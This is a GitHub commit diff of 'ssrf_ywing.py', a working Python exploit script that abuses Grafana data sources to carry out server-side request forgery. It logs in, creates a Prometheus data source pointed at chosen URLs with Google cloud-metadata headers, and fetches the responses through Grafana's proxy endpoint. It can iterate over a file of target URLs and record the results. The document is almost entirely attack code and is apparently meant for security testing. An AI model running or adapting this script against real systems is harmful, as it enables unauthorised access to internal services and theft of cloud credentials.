Update ssrf_ywing.py

This commit is contained in:
Omar Santos 2023-07-03 19:21:17 -04:00 committed by GitHub
parent 5688dab375
commit 5bb46493d7
No known key found for this signature in database
GPG key ID: 4AEE18F83AFDEB23

View file

@ -5,6 +5,7 @@
# Note: The SSRF exploit attempted by this script does not follow redirects.
# Importing the required libraries
import requests
import json
import sys
@ -20,7 +21,7 @@ requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
# Creating a new session object that will persist across requests
session = requests.Session()
# Parsing arguments from the command line
parser = argparse.ArgumentParser()
# The user can optionally provide a session cookie. If not provided, a default value is used.
@ -44,49 +45,146 @@ parser.add_argument("-p", "--proxy", default="",required=False, help="Proxy for
# Parsing the arguments
args = parser.parse_args()
# Assigning parsed arguments to variables
ssrf_url = args.url
sessionid = args.session
ghost = args.host
files = args.file
username = args.username
password = args.password
# If a proxy is provided, it's set up as the environment variable for the current session
if args.proxy:
http_proxy = args.proxy
os.environ['HTTP_PROXY'] = http_proxy
os.environ['HTTPS_PROXY'] = http_proxy
def create_source(sessionid,ssrf_url,ghost):
# Function to create a source in the Grafana instance.
def create_source(sessionid, ssrf_url,ghost):
# Preparing the request body and headers
# The request is sent to /api/datasources endpoint of the Grafana instance
# If the source with the same name already exists, the script will exit and prompt user to delete it manually.
# If the source is successfully created, the function will return the ID of the new source.
# Function to refresh the data source in Grafana. The request is sent to /api/datasources/{id} endpoint of the Grafana instance.
# If the source is successfully refreshed, it prints "Refreshed Sources", else, it deletes the source and print the error.
rawBody = "{\"name\":\"SSRF-TESTING\",\"type\":\"prometheus\",\"access\":\"proxy\",\"isDefault\":false}"
headers = {"Origin":""+ghost+"","Accept":"application/json, text/plain, */*","User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:75.0) Gecko/20100101 Firefox/75.0","Referer":""+ghost+"/datasources/new","Connection":"close","x-grafana-org-id":"1","content-type":"application/json","Accept-Language":"en-US,en;q=0.5","Accept-Encoding":"gzip, deflate"}
cookies = {"grafana_session":""+sessionid+""}
response = session.post(""+ghost+"/api/datasources", data=rawBody, headers=headers, cookies=cookies,verify=False)
y = json.loads(response.text)
if "Data source with same name already exists" in response.text:
print("You will need to manually delete the current source that is named SSRF-TESTING")
sys.exit(0)
elif "id" in response.text:
print("Source Created")
return (y["id"])
else:
print ("Error:")
print("Status code: %i" % response.status_code)
print(response.text)
# Function to create a SSRF in the Grafana instance.
# If the SSRF is successfully created, it prints "SSRF Source Updated", else, it deletes the source and print the error.
# Function to check if the SSRF is working by sending a GET request to /api/datasources/proxy/{id}/ endpoint of the Grafana instance.
# If the response status code is not 502, it prints the status code and response body, else, it deletes the source and print the error.
# Function to delete a data source in the Grafana instance. The request is sent to /api/datasources/{id} endpoint of the Grafana instance.
# If the data source is successfully deleted, it prints "Deleted Old SSRF Source", else, it exits the script and print the error.
def refresh_source(ghost,sessionid,id):
headers = {"Accept":"application/json, text/plain, */*","User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:75.0) Gecko/20100101 Firefox/75.0","Referer":""+ghost+"/datasources/edit/6/","Connection":"close","x-grafana-org-id":"1","Accept-Language":"en-US,en;q=0.5","Accept-Encoding":"gzip, deflate"}
cookies = {"grafana_session":""+sessionid+""}
response = session.get(""+ghost+"/api/datasources/"+id+"", headers=headers, cookies=cookies,verify=False)
if response.status_code == 200:
print("Refreshed Sources")
else:
print("Error:")
print("Status code: %i" % response.status_code)
print(response.text)
delete_source(sessionid,id,ghost)
def create_ssrf(sessionid,ssrf_url,ghost,id):
rawBody = "{\"id\":"+id+",\"orgId\":1,\"name\":\"SSRF-TESTING\",\"type\":\"prometheus\",\"typeLogoUrl\":\"\",\"access\":\"proxy\",\"url\":\""+ssrf_url+"\",\"password\":\"test\",\"user\":\"test\",\"database\":\"test\",\"basicAuth\":false,\"basicAuthUser\":\"\",\"basicAuthPassword\":\"\",\"withCredentials\":false,\"isDefault\":false,\"jsonData\":{\"tlsSkipVerify\":true,\"httpHeaderName1\":\"Metadata-Flavor\",\"httpHeaderName2\":\"Metadata\",\"httpMethod\":\"GET\"},\"secureJsonData\":{\"httpHeaderValue1\":\"Google\",\"httpHeaderValue2\":\"true\"},\"version\":1,\"readOnly\":false}"
headers = {"Origin":""+ghost+"","Accept":"application/json, text/plain, */*","User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:75.0) Gecko/20100101 Firefox/75.0","Referer":""+ghost+"/datasources/edit/6/","Connection":"close","x-grafana-org-id":"1","content-type":"application/json","Accept-Language":"en-US,en;q=0.5","Accept-Encoding":"gzip, deflate"}
cookies = {"grafana_session":""+sessionid+""}
response = session.put(""+ghost+"/api/datasources/"+id+"", data=rawBody, headers=headers, cookies=cookies,verify=False)
if response.status_code == 200:
print("SSRF Source Updated")
else:
print("Error:")
print("Status code: %i" % response.status_code)
print(response.text)
delete_source(sessionid,id,ghost)
def check_ssrf(sessionid,id,ghost,ssrf_url):
headers = {"Accept":"application/json, text/plain, */*","User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:75.0) Gecko/20100101 Firefox/75.0","Referer":""+ghost+"/datasources/edit/"+id+"/","Connection":"close","x-grafana-org-id":"1","Accept-Language":"en-US,en;q=0.5","Accept-Encoding":"gzip, deflate","x-grafana-nocache":"true"}
cookies = {"grafana_session":""+sessionid+""}
response = session.get(""+ghost+"/api/datasources/proxy/"+id+"/", headers=headers, cookies=cookies,verify=False)
if response.status_code != 502:
print("Status code: %i" % response.status_code)
print("Response body:\n %s" % response.text)
gghost = ghost.partition('://')[2]
sub_addr = gghost.partition('.')[0]
text_file = open(""+sub_addr+".txt", "a")
text_file.write("SSRF URL: %s\n" % ssrf_url)
text_file.write("Status code: %i\n" % response.status_code)
text_file.write("Response body: %s\n\n\n\n" % response.text)
text_file.close()
delete_source(sessionid,id,ghost)
else:
print("Error:")
print(response.text)
delete_source(sessionid,id,ghost)
def delete_source(sessionid,id,ghost):
headers = {"Origin":""+ghost+"","Accept":"application/json, text/plain, */*","User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:75.0) Gecko/20100101 Firefox/75.0","Referer":""+ghost+"/datasources/edit/3/","Connection":"close","x-grafana-org-id":"1","Accept-Language":"en-US,en;q=0.5","Accept-Encoding":"gzip, deflate"}
cookies = {"grafana_session":""+sessionid+""}
response = session.delete(""+ghost+"/api/datasources/"+id+"", headers=headers, cookies=cookies,verify=False)
if "Data source deleted" in response.text:
print("Deleted Old SSRF Source")
else:
print("Error:")
print(response.text)
sys.exit(0)
def login(ghost,username,password):
rawBody = "{\"user\":\""+username+"\",\"password\":\""+password+"\",\"email\":\"\"}"
headers = {"Origin":""+ghost+"","Accept":"application/json, text/plain, */*","User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:75.0) Gecko/20100101 Firefox/75.0","Referer":""+ghost+"/signup","Connection":"close","content-type":"application/json","Accept-Language":"en-US,en;q=0.5","Accept-Encoding":"gzip, deflate"}
cookies = {"redirect_to":"%2F"}
response = session.post(""+ghost+"/login", data=rawBody, headers=headers, cookies=cookies,verify=False)
if "grafana_session" in response.cookies:
return response.cookies["grafana_session"]
if "grafana_sess" in response.cookies:
return response.cookies["grafana_sess"]
else:
print("Login Session Cookie not set")
sys.exit(0)
# Function to log in to the Grafana instance. It sends a POST request to /login endpoint of the Grafana instance.
# If the login is successful, it returns the session cookie, else, it exits the script and print the error.
# If the user has provided a username, it uses the login function to get the sessionid
if username:
sessionid = login(ghost,username,password)
# If the user has provided a SSRF URL, it creates a source, refreshes the source, creates a SSRF, and checks the SSRF.
if ssrf_url:
i = create_source(sessionid,ssrf_url,ghost)
i = create_source (sessionid,ssrf_url,ghost)
id = str(i)
refresh_source(ghost,sessionid,id)
create_ssrf(sessionid,ssrf_url,ghost,id)
check_ssrf(sessionid,id,ghost,ssrf_url)
if files:
if os.path.exists(files):
with open(files, 'r') as f:
for line in f:
ssrf_url = line.replace("\n","")
i = create_source (sessionid,ssrf_url,ghost)
id = str(i)
refresh_source(ghost,sessionid,id)
create_ssrf(sessionid,ssrf_url,ghost,id)
check_ssrf(sessionid,id,ghost,ssrf_url)
f.close()